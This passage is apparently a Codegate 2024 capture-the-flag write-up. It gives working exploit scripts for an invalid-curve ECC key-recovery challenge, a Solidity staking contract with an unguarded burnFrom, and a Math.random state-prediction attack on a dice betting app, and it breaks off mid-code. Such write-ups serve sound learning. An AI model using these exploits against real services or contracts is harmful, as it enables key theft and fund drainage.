            fmt.Println("Unauthorized")
            return
        }
        u, _ := uuid.NewRandom()
        var user User
        user.userName = userId
        user.userRole = userRole
        SessionManager[u.String()] = user
        fmt.Println("Hello " + userId + "! You are logged in as " + userRole + "!!")
        fmt.Println("Here is your session : " + u.String())
        return
    } else {
        fmt.Println("Method Not Allowed")
        return
    }
}

func logoutHandler(r HTTPRequest) {
    if r.Method == "GET" {
        uname := SessionManager[r.Session].userName
        if uname == "" {
            fmt.Println("You are not logged in!")
            return
        }
        delete(SessionManager, r.Session)
        fmt.Println("Logged out successfully!")
        return
    } else {
        fmt.Println("Method Not Allowed")
        return
    }
}

func flagHandler(r HTTPRequest) {
    if r.Method == "POST" {
        uname := SessionManager[r.Session].userName
        userRole := SessionManager[r.Session].userRole
        if uname != "ADMIN" || userRole != "admin" {
            fmt.Println("Unauthorized")
            return
        }
        secret := r.Secret
        sec, err := base64.StdEncoding.DecodeString(secret)
        if err != nil {
            fmt.Println("Bad Request")
            return
        }

        if subtle.ConstantTimeCompare(SERVER_SECRET_KEY, sec) != 1 {
            fmt.Println("Unauthorized")
            return
        }
        FLAG, _ := ioutil.ReadFile("./flag")
        fmt.Println("Here is your flag : " + string(FLAG))
    } else {
        fmt.Println("Method Not Allowed")
        return
    }
}

func getRequest(r *bufio.Reader) (HTTPRequest, error) {
    var err error
    var input string
    var request HTTPRequest

    fmt.Print("> ")

    input, err = r.ReadString('\n')
    if err != nil {
        return HTTPRequest{}, err
    }
    err = json.Unmarshal([]byte(input), &request)
    if err != nil {
        return HTTPRequest{}, err
    }
    return request, nil
}

func generateRandomString(length int) string {
    const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    b := make([]byte, length)
    for i := range b {
        num, err := rand.Int(rand.Reader, big.NewInt(int64(len(charset))))
        if err != nil {
            panic(err)
        }
        b[i] = charset[num.Int64()]
    }
    return string(b)
}

func validateHash(hashValue *big.Int) bool {
    shifted := new(big.Int).Rsh(hashValue, 24)
    shifted.Lsh(shifted, 24)
    return shifted.Cmp(hashValue) == 0
}

func PoW() {
    randomString := generateRandomString(16)
    fmt.Println("PoW > " + randomString)

    var answer string
    fmt.Scanln(&answer)

    concatenated := randomString + answer
    hash := sha256.Sum256([]byte(concatenated))
    hashValue := new(big.Int).SetBytes(hash[:])

    if !validateHash(hashValue) {
        fmt.Println("Invalid PoW")
        os.Exit(1)
    }

}

func main() {
    PoW()

    sigChan := make(chan os.Signal, 1)
    signal.Notify(sigChan, syscall.SIGALRM)

    go func() {
        time.Sleep(600 * time.Second)
        fmt.Println("timeout")
        os.Exit(1)
    }()

    SessionManager = make(map[string]User)
    SERVER_SECRET_KEY = make([]byte, 33)

    _, _ = rand.Read(SERVER_SECRET_KEY)

    fmt.Println("webAPI for my \"Baby Login\" system")
    reader := bufio.NewReader(os.Stdin)

    for {
        request, err := getRequest(reader)
        if err != nil {
            fmt.Println("Invalid input")
            return
        }
        switch request.Path {
        case "/", "/index.html":
            indexHandler(request)
        case "/register.html":
            registerHandler(request)
        case "/login.html":
            loginHandler(request)
        case "/logout.html":
            logoutHandler(request)
        case "/flag.html":
            flagHandler(request)
        default:
            fmt.Println("Invalid path")
        }
    }
}

 

When registering with an ID, the password is generated as follows: Gx + Gy + enc(k1, "userID_userRole") + hmac(k2, out).

k1, k2 are derived by taking 16-byte segments from the x-coordinate of G*SERVER_SECRET_KEY.

During login, k1 and k2 are calculated using G obtained from the password, and the decrypted value is verified against the HMAC.

idea

elliptic.P256().ScalarMult() function operates even when the input point is not on the P-256 curve.
However, there are instances where the function returns 0 instead of a valid result, but if it doesn’t return 0, it guarantees that the calculation was correct.

Specifically, by using a point G were pG = 0 for a small prime p, you can find non-zero k values that satisfy `GSERVER_SECRET_KEY= G*k`

Since k1 and k2 are derived derived only from the x-coordinate, both k and are valid solutions. In my case, I used Coppersmith's attack to compute the solution by solving the N/p(x^2-k^2)

exploit

from pwn import *
from base64 import b64decode, b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib
import json
import random
import time
from sage.rings.factorint import factor_trial_division
from tqdm import trange
import hmac
import pickle

def hmac_sha256(key, message):
    hmac_generator = hmac.new(key, msg=message, digestmod=hashlib.sha256)
    return hmac_generator.digest()

p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551

### prepare
"""
p_prod = 1
p_set = set()
datasets = []
datasets = [[9, 653], [10, 251], [12, 389], [14, 491], [15, 421], [15, 823], [16, 769], [18, 349], [19, 829], [21, 433], [25, 541], [25, 977], [32, 751], [33, 439], [36, 673], [42, 229], [46, 449], [61, 607], [74, 499], [75, 569], [82, 463], [87, 293], [103, 397], [109, 547], [110, 691], [114, 877], [117, 233], [117, 487], [119, 631], [130, 929], [132, 241], [137, 431], [141, 263], [148, 677], [157, 467], [157, 743], [158, 281], [162, 701], [163, 257], [163, 347], [166, 409], [169, 809], [180, 313], [186, 239], [192, 283]]
for d in datasets:
    p_set.add(d[1])
print(len(p_set), len(datasets))
for i in trange(200, 600):
    E2 = EllipticCurve(GF(p), [a, i])
    card = E2.cardinality()
    for fact, _ in factor_trial_division(card, 1000):
        if (200 < fact < 1000) and (fact not in p_set):
            p_set.add(fact)
            p_prod *= fact
            small_p = fact
            datasets.append([i, small_p])
            print([i, small_p])

print(p_prod.nbits(), n.nbits())
print(len(datasets))
print(datasets)
exit()
#"""

"""
datasets = [[9, 653], [10, 251], [12, 389], [14, 491], [15, 421], [15, 823], [16, 769], [18, 349], [19, 829], [21, 433], [25, 541], [25, 977], [32, 751], [33, 439], [36, 673], [42, 229], [46, 449], [61, 607], [74, 499], [75, 569], [82, 463], [87, 293], [103, 397], [109, 547], [110, 691], [114, 877], [117, 233], [117, 487], [119, 631], [130, 929], [132, 241], [137, 431], [141, 263], [148, 677], [157, 467], [157, 743], [158, 281], [162, 701], [163, 257], [163, 347], [166, 409], [169, 809], [180, 313], [186, 239], [192, 283], [209, 863], [209, 983], [215, 307], [218, 733], [235, 211], [240, 859], [241, 853], [247, 479], [261, 269], [261, 311], [275, 331], [279, 223], [291, 827], [293, 709], [319, 353], [327, 601], [330, 619], [334, 317], [335, 271], [346, 277], [353, 443], [360, 521], [374, 661], [375, 227], [429, 359], [438, 947], [457, 971], [473, 911], [474, 523], [486, 811], [498, 907], [506, 997], [508, 683], [534, 587], [560, 797], [563, 739], [570, 773], [580, 617], [592, 647], [598, 659]]
datasets = sorted(datasets, key = lambda x:x[1])
for idx, d in enumerate(datasets):
    print(idx, len(datasets))
    E2 = EllipticCurve(GF(p), [a, d[0]])
    card = E2.cardinality()
    small_p = d[1]

    while True:
        G2 = E2.random_point() * (E2.cardinality() // small_p)
        if G2 != (G2 * small_p):
            break
    Gx = ZZ(G2[0])
    Gy = ZZ(G2[1])

    passwords = []

    for i in trange(small_p // 2):
        if i:
            _m = int(ZZ((G2 * i)[0])).to_bytes(32, 'big')
        else:
            _m = b'\x00' * 32

        k1, k2 = _m[:16], _m[16:]
        pt = b'ADMIN_admin'
        pt += b'\x00' * (16 - len(pt))

        cipher = AES.new(k1, AES.MODE_ECB)
        Gx_b = int(Gx).to_bytes(32, 'big')
        Gy_b = int(Gy).to_bytes(32, 'big')
        enc = cipher.encrypt(pt)

        out = Gx_b + Gy_b + enc
        out += hmac_sha256(k2, out)

        passwords.append(out)
    datasets[idx] = tuple(d) + tuple(passwords)
    print(datasets[idx])

with open('datasets.pickle','wb') as f:
    pickle.dump(datasets, f)
print("done")
exit()
"""
###

def pow_solver(x):
    print(x)
    for i in range(1 << 32):
        hash_digest = hashlib.sha256((x + hex(i)).encode()).digest()
        if hash_digest[-3:] == b'\x00' * 3:
            print(hex(i))
            return hex(i)
    else:
        print("failed")
        exit(-1)

#r = process(["go", "run", "main.go"])
#secret = int(r.recvline()) % n
#"""
r = remote("43.202.3.171", "8081")
ans = pow_solver(r.recvline().decode()[6:-1])
r.sendline(ans.encode())
#"""
start_time = time.time()

def register(id):
    data = {}
    data["Path"] = "/register.html"
    data["Method"] = "POST"
    data["Uid"] = id
    r.sendlineafter(b'> ', json.dumps(data).encode())
    r.recvuntil(b'token : ')
    token = b64decode(r.recvline()[:-1])
    return token

def login(id, pw):
    data = {}
    data["Path"] = "/login.html"
    data["Method"] = "POST"
    data["Uid"] = id
    data["Password"] = b64encode(pw).decode()
    r.sendlineafter(b'> ', json.dumps(data).encode())
    if r.recvline() != b'Unauthorized\n':
        r.recvuntil(b'session : ')
        session = r.recvline()[:-1].decode()
        return session
    else:
        return None

def logout(session):
    data = {}
    data["Path"] = "/logout.html"
    data["Method"] = "GET"
    data["Session"] = session
    r.sendlineafter(b'> ', json.dumps(data).encode())
    print(r.recvline())

def index(session):
    data = {}
    data["Path"] = "/index.html"
    data["Method"] = "GET"
    data["Session"] = session
    r.sendlineafter(b'> ', json.dumps(data).encode())
    print(r.recvline())

def flag(session, secret):
    data = {}
    data["Path"] = "/flag.html"
    data["Method"] = "POST"
    data["Session"] = session
    data["Secret"] = b64encode(secret).decode()
    r.sendlineafter(b'> ', json.dumps(data).encode())
    print(r.recvline())

p_prod = 1
crt_ans = []

with open('datasets.pickle','rb') as f:
    datasets = pickle.load(f)

for d in datasets:
    small_p = d[1]
    passwords = d[2:]
    assert len(passwords) == small_p // 2


    if login('ADMIN', passwords[0]):
        print(f"{small_p} failed")
        continue

    check = []
    for i in trange(1, small_p // 2):
        session = login('ADMIN', passwords[i])
        if session:
            break
    else:
        continue

    #print(secret % small_p , i, (small_p - i))
    crt_ans.append((i, small_p))
    p_prod *= small_p
    print(time.time() - start_time, p_prod.nbits(), n.nbits())
    if p_prod.nbits()*(0.5 - 1/32) > n.nbits() :
        break

pol = 0
P.<x> = PolynomialRing(Zmod(p_prod))
for target, small_p in crt_ans:
    pol += (p_prod // small_p) * (x^2 - target^2)
pol *= pow(list(pol)[-1],-1,N)

roots = pol.small_roots(beta = 1, epsilon = 1/32)
root = min(roots)
#print(secret == root)

while root < 256^33:
    flag(session, int(root).to_bytes(33, 'big'))
    root += n

r.interactive()
r.close()
# codegate2024{d6e6c4caad3b5186cdef982b530f993b5fc77f6588a9a89a69a3c1d5ef0f91802178351c7c1aad97b94f5fd98b9b8927c77068}

 

All passwords used for verification were precomputed to avoid triggering a timeout.

etc

blockchain - Staker

Setup.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Token} from "./Token.sol";
import {LpToken} from "./LpToken.sol";
import {StakingManager} from "./StakingManager.sol";

contract Setup {
    StakingManager public stakingManager;
    Token public token;

    constructor() payable {
        token = new Token();
        stakingManager = new StakingManager(address(token));

        token.transfer(address(stakingManager), 86400 * 1e18);

        token.approve(address(stakingManager), 100000 * 1e18);
        stakingManager.stake(100000 * 1e18);
    }

    function withdraw() external {
        token.transfer(msg.sender, token.balanceOf(address(this)));
    }

    function isSolved() public view returns (bool) {
        return token.balanceOf(address(this)) >= 10 * 1e18;
    }
}

 

StakingManager.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {LpToken} from "./LpToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract StakingManager {
    uint256 constant REWARD_PER_SECOND = 1e18;

    IERC20 public immutable TOKEN;
    LpToken public immutable LPTOKEN;

    uint256 lastUpdateTimestamp;
    uint256 rewardPerToken;

    struct UserInfo {
        uint256 staked;
        uint256 debt;
    }

    mapping(address => UserInfo) public userInfo;

    constructor(address token) {
        TOKEN = IERC20(token);
        LPTOKEN = new LpToken();
    }

    function update() internal {
        if (lastUpdateTimestamp == 0) {
            lastUpdateTimestamp = block.timestamp;
            return;
        }

        uint256 totalStaked = LPTOKEN.totalSupply();
        if (totalStaked > 0 && lastUpdateTimestamp != block.timestamp) {
            rewardPerToken = (block.timestamp - lastUpdateTimestamp) * REWARD_PER_SECOND * 1e18 / totalStaked;
            lastUpdateTimestamp = block.timestamp;
        }
    }

    function stake(uint256 amount) external {
        update();

        UserInfo storage user = userInfo[msg.sender];

        user.staked += amount;
        user.debt += (amount * rewardPerToken) / 1e18;

        LPTOKEN.mint(msg.sender, amount);
        TOKEN.transferFrom(msg.sender, address(this), amount);
    }

    function unstakeAll() external {
        update();

        UserInfo storage user = userInfo[msg.sender];

        uint256 staked = user.staked;
        uint256 reward = (staked * rewardPerToken / 1e18) - user.debt;
        user.staked = 0;
        user.debt = 0;

        LPTOKEN.burnFrom(msg.sender, LPTOKEN.balanceOf(msg.sender));
        TOKEN.transfer(msg.sender, staked + reward);
    }
}

 

Token.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Token is ERC20 {
    constructor() ERC20("Token", "TKN") {
        _mint(msg.sender, 186401 * 1e18);
    }
}

 

LpToken.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract LpToken is ERC20 {
    address immutable minter;

    constructor() ERC20("LP Token", "LP") {
        minter = msg.sender;
    }

    function mint(address to, uint256 amount) external {
        require(msg.sender == minter, "only minter");
        _mint(to, amount);
    }

    function burnFrom(address from, uint256 amount) external {
        _burn(from, amount);
    }
}

 

In the setup, 186,401 TKN are issued, with 86,400 TKN transferred to the StakingManager and 100,000 TKN staked.

wi When a withdrawal is made, the remaining TKN in the setup is transferred entirely to the msg.sender.

The StakingManager issues LP tokens to msg.sender corresponding to the amount of tokens staked.

Additionally, each second, 1 TKN is distributed to all stakers proportionally based on their LP token holdings.

fl To obtain the flag, the setup must own at least 10 TKN.

idea

Since 1 TKN is rewarded each second to stakers based on their LP proportion, and there's no permission required to burn LP tokens, you can exploit this.

By withdrawing to receive 1 TKN, then staking it, and burning all of the setup's LP tokens, you can start receiving 1 TKN per second.

After waiting 10 seconds to accumulate 10 TKN, you can transfer these to the setup, which will allow you to obtain the flag.

exploit

from web3 import Web3
import json
import random

def get_receipt(transaction, private_key):
    signed_txn = w3.eth.account.sign_transaction(transaction, private_key=private_key)
    tx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
    return tx_receipt

def load_abi(filename):
    with open(filename, "r") as abi_file:
        contract_abi = json.load(abi_file)
    return contract_abi

# RPC URL
rpc_url = f".."

# Connect to Ethereum node via RPC
w3 = Web3(Web3.HTTPProvider(rpc_url))

# Check if the connection is successful
if w3.is_connected():
    print("Connected to Ethereum node")
else:
    print("Failed to connect")
    exit()

address = ".."
private_key = ".."

# Display account balance
balance = w3.eth.get_balance(address)
print(f"Balance: {w3.from_wei(balance, 'ether')} ETH")

setup_address = ".."
setup_abi = load_abi("bin/Setup.abi")
setup_contract = w3.eth.contract(address=setup_address, abi=setup_abi)

token_address = setup_contract.functions.token().call()
token_abi = load_abi("bin/Token.abi")
token_contract = w3.eth.contract(address=token_address, abi=token_abi)

stakingManager_address = setup_contract.functions.stakingManager().call()
stakingManager_abi = load_abi("bin/StakingManager.abi")
stakingManager_contract = w3.eth.contract(address=stakingManager_address, abi=stakingManager_abi)

lptoken_address = stakingManager_contract.functions.LPTOKEN().call()
lptoken_abi = load_abi("bin/LpToken.abi")
lptoken_contract = w3.eth.contract(address=lptoken_address, abi=lptoken_abi)

def show():
    print("#" * 30)

    print(stakingManager_contract.functions.userInfo(address).call())
    print(stakingManager_contract.functions.userInfo(setup_address).call())

    balance = token_contract.functions.balanceOf(address).call()
    print(f"MY Balance: {w3.from_wei(balance, 'ether')} TKN")

    balance = token_contract.functions.balanceOf(setup_address).call()
    print(f"SETUP Balance: {w3.from_wei(balance, 'ether')} TKN")

    balance = lptoken_contract.functions.balanceOf(address).call()
    print(f"MY Balance: {w3.from_wei(balance, 'ether')} LP")

    balance = lptoken_contract.functions.balanceOf(setup_address).call()
    print(f"SETUP Balance: {w3.from_wei(balance, 'ether')} LP")

    balance = lptoken_contract.functions.totalSupply().call()
    print(f"TOTAL Balance: {w3.from_wei(balance, 'ether')} LP")

    print("#" * 30)

# 

transaction = setup_contract.functions.withdraw().build_transaction(
    {
        #"chainId": w3.eth.chain_id,
        #"gasPrice": w3.eth.gas_price,
        "from": address,
        "nonce": w3.eth.get_transaction_count(address),
    }
)
get_receipt(transaction, private_key)

# 1. approve
transaction = token_contract.functions.approve(stakingManager_address, (100) * 10 ** 18).build_transaction(
    {
        #"chainId": w3.eth.chain_id,
        #"gasPrice": w3.eth.gas_price,
        "from": address,
        "nonce": w3.eth.get_transaction_count(address),
    }
)
get_receipt(transaction, private_key)

show()

# 2. stake
transaction = stakingManager_contract.functions.stake(1).build_transaction(
    {
        #"chainId": w3.eth.chain_id,
        #"gasPrice": w3.eth.gas_price,
        "from": address,
        "nonce": w3.eth.get_transaction_count(address),
    }
)
get_receipt(transaction, private_key)

show()

# 3. burn all
transaction = lptoken_contract.functions.burnFrom(setup_address, lptoken_contract.functions.balanceOf(setup_address).call()).build_transaction(
    {
        #"chainId": w3.eth.chain_id,
        #"gasPrice": w3.eth.gas_price,
        "from": address,
        "nonce": w3.eth.get_transaction_count(address),
    }
)
get_receipt(transaction, private_key)

show()

# 4. unstake
import time
time.sleep(10)
transaction = stakingManager_contract.functions.unstakeAll().build_transaction(
    {
        #"chainId": w3.eth.chain_id,
        #"gasPrice": w3.eth.gas_price,
        "from": address,
        "nonce": w3.eth.get_transaction_count(address),
    }
)
get_receipt(transaction, private_key)

show()
# 5. transfer
transaction = token_contract.functions.transfer(setup_address, (10) * 10 ** 18).build_transaction(
    {
        #"chainId": w3.eth.chain_id,
        #"gasPrice": w3.eth.gas_price,
        "from": address,
        "nonce": w3.eth.get_transaction_count(address),
    }
)
get_receipt(transaction, private_key)

show()

print(setup_contract.functions.isSolved().call())

misc - DICE OR DIE

onchain/src/DD.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import {USD} from "./USD.sol";

contract DD {
    error ERC20InsufficientBalance(
        address account,
        uint256 balance,
        uint256 value
    );
    error InvalidCommitment(uint256 commitment);
    error TooRich(address account);
    error InvalidSize(uint256 size);
    error OnlyOwner(address account);
    event Win(uint256 indexed amount);
    event Lose();

    USD private _usd;
    address private _owner;
    mapping(uint256 index => address owner) private _owners;
    mapping(uint256 index => uint256 value) private _values;
    mapping(uint256 index => uint256 size) private _sizes;
    mapping(uint256 index => bytes32 commitment) private _commitments;
    mapping(bytes32 id => bool) private _flag;

    constructor(address usd) {
        _usd = USD(usd);
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        if (msg.sender != _owner) revert OnlyOwner(msg.sender);
        _;
    }

    function commit(uint256 index, bytes32 commitment) external onlyOwner {
        _commitments[index] = commitment;
    }

    function bet(uint256 index, uint256 value, uint256 size) external {
        if (size == 0) {
            revert InvalidSize(size);
        }

        if (_commitments[index] == 0) {
            revert InvalidCommitment(index);
        }

        _usd.burn(msg.sender, size);
        _sizes[index] = size;
        _values[index] = value;
        _owners[index] = msg.sender;
    }

    function open(uint256 index, uint256 commitment) external {
        if (
            keccak256(abi.encode(commitment)) != _commitments[index] ||
            _commitments[index] == 0
        ) {
            revert InvalidCommitment(index);
        }

        if (_owners[index] != msg.sender) {
            revert OnlyOwner(msg.sender);
        }

        uint256 size = _sizes[index];
        uint256 value = _values[index];
        uint256 input = commitment % 6;
        _commitments[index] = 0;

        if (input == value) {
            _usd.mint(msg.sender, size * 3);
            emit Win(size * 3);
        } else {
            emit Lose();
        }

        if (_usd.balanceOf(msg.sender) > 1e10) {
            revert TooRich(msg.sender);
        }
    }

    function isSettled(uint256 index) external view returns (bool) {
        return _commitments[index] != 0;
    }

    // function play(uint256 value, uint256 size) external {
    //     _usd.burn(msg.sender, size);

    //     uint256 rand = uint256(
    //         keccak256(
    //             abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
    //         )
    //     ) % 6;

    //     if (rand == value && flag == false) {
    //         _usd.mint(msg.sender, size * 3);
    //     }
    // }

    function buyFlag(bytes32 id) external {
        _usd.burn(msg.sender, 1e8);
        _flag[id] = true;
    }

    function checkSolve(bytes32 id) external view returns (bool) {
        return _flag[id];
    }
}

 

src/app/admin/route.js

import { ddAddress } from '@/constants'
import { readFileSync } from 'fs'
import { headers } from 'next/headers'
import { NextResponse } from 'next/server'
import {
  createWalletClient,
  getContract,
  http,
  keccak256,
  publicActions,
  toBytes,
} from 'viem'
import { privateKeyToAccount } from 'viem/accounts'
import { klaytnBaobab } from 'viem/chains'

const loadMetadata = (name) =>
  JSON.parse(readFileSync(`onchain/out/${name}.sol/${name}.json`, 'utf8'))

const getRandom = () =>
  BigInt(Math.random().toString().slice(2)) *
  BigInt(Math.random().toString().slice(2))

export async function GET() {
  const header = headers()
  if (header.get('host') === '127.0.0.1:3000') {
    const dd = loadMetadata('DD')
    const account = privateKeyToAccount(process.env.privKey)
    const client = createWalletClient({
      account,
      chain: klaytnBaobab,
      transport: http(),
    }).extend(publicActions)

    const ddContract = getContract({
      address: ddAddress,
      abi: dd.abi,
      client,
    })

    const value = getRandom()
    const index = getRandom().toString()
    const commitment = keccak256(toBytes(value, { size: 32 }))
    const hash = await ddContract.write.commit([index, commitment])
    process.env[index] = value.toString()
    return NextResponse.json({
      index,
      commitment,
      hash,
      value: value.toString(),
    })
  }
  return NextResponse.json({ error: 'access denied' })
}

 

src/app/dice/main.js

'use client'
import { reveal } from '@/app/actions'
import { ddAbi, ddAddress, usdAbi, usdAddress } from '@/constants'
import {
  Box,
  Button,
  Divider,
  Flex,
  HStack,
  Image,
  Input,
  List,
  ListItem,
  Text,
  VStack,
} from '@chakra-ui/react'
import Link from 'next/link'
import { useEffect, useRef, useState } from 'react'
import { useAccount, useReadContract, useWriteContract } from 'wagmi'

export default function Page({ index }) {
  let balance = 0
  const [history, setHistory] = useState([])
  const [id, setId] = useState('unknown')
  const betAmount = useRef()
  const [number, setNumber] = useState(0)
  const { address, isConnected } = useAccount()
  const { writeContractAsync } = useWriteContract()

  const rollDice = () => {
    const dice = document.querySelector('.die-list')
    toggleClasses(dice)
    dice.dataset.roll = getRandomNumber(1, 6)
    setNumber(dice.dataset.roll)
  }

  const toggleClasses = (die) => {
    die.classList.toggle('odd-roll')
    die.classList.toggle('even-roll')
  }

  const getRandomNumber = (min, max) => {
    min = Math.ceil(min)
    max = Math.floor(max)
    return Math.floor(Math.random() * (max - min + 1)) + min
  }

  const max = (bal) => {
    betAmount.current.value = bal
  }

  const mint = async () => {
    try {
      const hash = await writeContractAsync({
        abi: usdAbi,
        address: usdAddress,
        functionName: 'publicMint',
      })
      window.toast({
        title: 'Minting in progress',
        description: (
          <Link
            target='_blank'
            href={`https://baobab.klaytnscope.com/tx/${hash}`}
          >
            {hash}
          </Link>
        ),
        status: 'info',
        duration: 5000,
        isClosable: true,
      })
    } catch (e) {
      window.toast({
        title: 'Minting error',
        description: 'You are too fast. minting allowed once a day!',
        status: 'error',
        duration: 5000,
        isClosable: true,
      })
    }
  }

  const open = async (k, i) => {
    const commitment = await reveal.bind(null, i)()
    const hash = await writeContractAsync({
      abi: ddAbi,
      address: ddAddress,
      functionName: 'open',
      args: [i, commitment],
    })
    const newHistory = { ...history }
    delete newHistory[k]
    setHistory(newHistory)
    localStorage.setItem('history', JSON.stringify(newHistory))
    window.toast({
      title: 'Betting Open in progress',
      description: (
        <Link
          target='_blank'
          href={`https://baobab.klaytnscope.com/tx/${hash}`}
        >
          {hash}
        </Link>
      ),
      status: 'info',
      duration: 5000,
      isClosable: true,
    })
  }

  const bet = async () => {
    const amount = parseInt(betAmount.current.value)
    if (amount > 0) {
      const hash = await writeContractAsync({
        abi: ddAbi,
        address: ddAddress,
        functionName: 'bet',
        args: [index, number - 1, amount],
      })
      const newHistory = { ...history }
      newHistory[hash] = index
      localStorage.setItem('history', JSON.stringify(newHistory))
      setHistory(newHistory)
    }
  }

  const usdBalance = useReadContract({
    abi: usdAbi,
    address: usdAddress,
    functionName: 'balanceOf',
    args: [address],
  })

  if (typeof usdBalance?.data == 'bigint') balance = usdBalance.data.toString()

  useEffect(() => {
    if (window.id) setId(window.id)
    setHistory(JSON.parse(localStorage.getItem('history') ?? '{}'))
  }, [])

  return isConnected ? (
    <VStack mt='8rem'>
      <VStack>
        <Text>Your ID : {id}</Text>
        <HStack>
          <Text>Current Balance : {balance}</Text>
          <Image src='/usd.png' alt='usd' w='1.5rem' />
        </HStack>
        <Button onClick={mint}>mint</Button>
      </VStack>
      <Divider />
      <Box className='dice' mt='2rem'>
        <List className='die-list even-roll' data-roll='1' id='die-1'>
          {[...Array(6)].map((_, i) => (
            <ListItem className='die-item' data-side={i + 1} key={i}>
              {[...Array(i + 1)].map((_, j) => (
                <Flex className='dot' key={j} />
              ))}
            </ListItem>
          ))}
        </List>
      </Box>
      <Button onClick={rollDice}>Roll Dice</Button>
      <VStack mt='3rem'>
        <Flex>Your number is : {number}</Flex>
        <HStack>
          <Input type='number' placeholder='Bet amount' ref={betAmount} />
          <Button onClick={() => max(balance)}>Max</Button>
        </HStack>
        <Button isDisabled={number == 0} onClick={bet}>
          Bet!
        </Button>
      </VStack>
      <Divider />
      <VStack mt='2rem'>
        <Text>Your betting history</Text>
        <VStack>
          {Object.keys(history).map((k, i) => (
            <HStack key={i}>
              <Link
                target='_blank'
                href={`https://baobab.klaytnscope.com/tx/${k}`}
              >
                {k}
              </Link>
              <Button onClick={() => open(k, history[k])}>Open</Button>
            </HStack>
          ))}
        </VStack>
      </VStack>
    </VStack>
  ) : (
    <Flex justify='center'>connect first!</Flex>
  )
}

 

src/app/dice/page.js

import { use } from 'react'
import Main from './main'

export default function Page() {
  const { index } = use(
    fetch('http://127.0.0.1:3000/admin', {
      method: 'GET',
      cache: 'no-store',
    }).then((res) => res.json())
  )
  return <Main index={index} />
}

 

When a client accesses the dice page, the server internally accesses http://127.0.0.1:3000/admin to commit the contract. .

const getRandom = () =>
  BigInt(Math.random().toString().slice(2)) *
  BigInt(Math.random().toString().slice(2))

export async function GET() {
  const header = headers()
  if (header.get('host') === '127.0.0.1:3000') {
    const dd = loadMetadata('DD')
    const account = privateKeyToAccount(process.env.privKey)
    const client = createWalletClient({
      account,
      chain: klaytnBaobab,
      transport: http(),
    }).extend(publicActions)

    const ddContract = getContract({
      address: ddAddress,
      abi: dd.abi,
      client,
    })

    const value = getRandom()
    const index = getRandom().toString()
    const commitment = keccak256(toBytes(value, { size: 32 }))
    const hash = await ddContract.write.commit([index, commitment])
    process.env[index] = value.toString()
    return NextResponse.json({
      index,
      commitment,
      hash,
      value: value.toString(),
    })
  }
  return NextResponse.json({ error: 'access denied' })
}

 

The getRandom() function calculates the index and value,
allowing the client to place bets and check the results (open).
Based on the tokens we have and the dice number, we can place bets on the corresponding index.

However, the "open" action can only be performed on a specific dice number assigned to each index.

If the dice number minus 1 matches the remainder of the value when divided by 6, the client wins three times the bet amount.

idea

This contract is on the Baobab testnet, and while we can verify the hash values of the index and value, we cannot directly see the value itself.(Seems actually possible, but I didn't noticed it while solving challenge)

However, we can infer the value of Math.random() used to calculate the index. By verifying whether these values follow the actual conditions of Math.random(), we can predict the results generated by Math.random().

 

exploit

#!/usr/bin/python3
import struct
import sys

N=100

class Solver:
    def __init__(self):
        self.equations = []
        self.outputs = []

    def insert(self, equation, output):
        for eq, o in zip(self.equations, self.outputs):
            lsb = eq & -eq
            if equation & lsb:
                equation ^^= eq
                output ^^= o

        if equation == 0:
            assert output==0
            return

        lsb = equation & -equation
        for i in range(len(self.equations)):
            if self.equations[i] & lsb:
                self.equations[i] ^^= equation
                self.outputs[i] ^^= output

        self.equations.append(equation)
        self.outputs.append(output)

    def is_solvable(self):
        return len(self.equations) == 128
    def solve(self):
        if not self.is_solvable():
            assert False, "Not solvable"
        num = 0
        for i, eq in enumerate(self.equations):
            assert eq == (eq & -eq), "Should be reduced now"
            if self.outputs[i]:
                num |= eq
        return num

def solve_with_targets(targets):
    se_state0=[1<<i for i in range(64)]
    se_state1=[1<<(i+64) for i in range(64)]
    solver = Solver()
    targets = [int(float(t) * 2**52) for t in targets]

    try:
        for j in range(len(targets)):
            se_s1 = se_state0[:]
            se_s0 = se_state1[:]
            se_state0 = se_s0[:]
            #se_s1 ^^= se_s1 << 23
            for i in range(64-23):
                se_s1[63-i] ^^= se_s1[63-i-23]
            #se_s1 ^^= z3.LShR(se_s1, 17)  # Logical shift instead of Arthmetric shift
            for i in range(64-17):
                se_s1[i] ^^= se_s1[i+17]
            #se_s1 ^^= se_s0
            for i in range(64):
                se_s1[i] ^^= se_s0[i]
            #se_s1 ^^= z3.LShR(se_s0, 26)
            for i in range(64-26):
                se_s1[i] ^^= se_s0[i+26]
            se_state1 = se_s1[:]
            target=targets[j]
            if target < 0:
                continue
            for i in range(52):
                solver.insert(se_state0[12 + i],int((target >> i) & 1))

        solved=solver.solve()
        states = {}
        states["se_state0"] = solved&0xFFFFFFFFFFFFFFFF
        states["se_state1"] = solved>>64
        return states
    except:
        return None
"""
a = 75802983205316688796395552781398
b = 114429500396470652495161414002552
da = divisors(a)
dda = []
for i in range(len(da)):
    x, y = da[i], da[-1 - i]
    assert x * y == a
    if x < 10^17 and y < 10^17:
        for x_l in range(18 - len(str(x))):
            for y_l in range(18 - len(str(y))):
                xx = float("0." + "0" * x_l + str(x))
                yy = float("0." + "0" * y_l + str(y))
                dda.append((xx, yy))
                if xx == (float(0.7049781694071042)):
                    print(dda[-1])

db = divisors(b)
ddb = []
for i in range(len(db)):
